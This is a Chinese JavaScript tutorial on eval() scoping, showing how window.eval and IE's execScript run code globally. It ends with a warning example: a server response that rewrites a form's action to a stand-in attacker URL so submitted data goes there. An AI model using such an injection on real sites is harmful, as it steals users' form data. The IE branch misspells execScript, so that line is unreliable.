js中的eval方法详解(二)–eval方法中的高级应用
eval()执行的代码的作用域
eval()方法中执行的代码也是有作用域的,其作用域继承eval()方法所在的作用域。即eval()方法中定义的变量总是在调用它的上下文空间内执行,无论是变量还是函数定义都是如此哦。
举个栗子
var s = "var t = 1;function test(){return t;}";
function demo(){
eval(s);
console.log("t的值为:"+t);
//打印:"t的值为:1"
test();
//test()函数在demo函数内定义,所以其作用域是在demo()方法
}
demo();
console.log("t的值为:"+t);
//打印:"t的值为:undefined"
test();
//会报错,因为在全局作用域中在不到test()方法的定义
上例中,test()方法是在demo()方法中定义的,所以test()方法是demo()方法的私有方法,在demo()方法外部是访问不到的。变量t也是如此。
改变执行的代码的作用域
在实际的Ajax开发中,有时我们需要从服务器中动态的获取代码块来执行,以减轻初次载入代码过多而导致耗费性能的问题,这时就可以用eval()方法来使这些都代码执行。
另一种情况是,一些代码是通过JavaScript动态获取的字符串,这时也可以用eval()方法来使其执行 。
如上所述,一般动态获取代码并执行的工作会在函数内完成。
比如:
function getCode(){
......
}
function loadCode(){
var code = getCode();
eval(code);
}
上述例子中,eval()方法执行的代码中,变量和方法不是全局的,所以全局作用域中是访问不到的。
要想在全局中能够访问到其中的变量或方法,可以这样处理:
var xy = {};//定义命名空间
xy.Eval = function(code){
//IE
if(!!(window.attachEvent&&!window.opera)){
ecexScript(code)
}
//非IE
else{
window.eval(code);//一定要加window前缀
}
}
附注
对于IE浏览器,execScript()方法用于在全局空间执行代码,使其中的代码的作用域为全局作用域。
对于FF浏览器,如果直接调用eval()方法,则在调用者的空间执行代码。如果调用window.eval(),则在全局空间执行。
举个栗子
var s= "var t = 1;function test(){return t;}";
function demo(){
xy.Eval(s);//上例中定义的方法
console.log("t的值为:"+t);
//打印:"t的值为:1"
test();
//test()函数在全局作用域内定义,所以其作用域是在demo()方法
}
demo();
console.log("t的值为:"+t);
//打印:"t的值为:1"
test();
//会执行,因为test()方法是在全局作用域中定义的
eval()方法不推荐传入来历不明和不受信任的源代码作为参数。
比如:
响应头的文本如下:
“[1,2,
(function(){
document.forms[0].action=’http://www.a.com/baddata.php’
})(),
3,4]”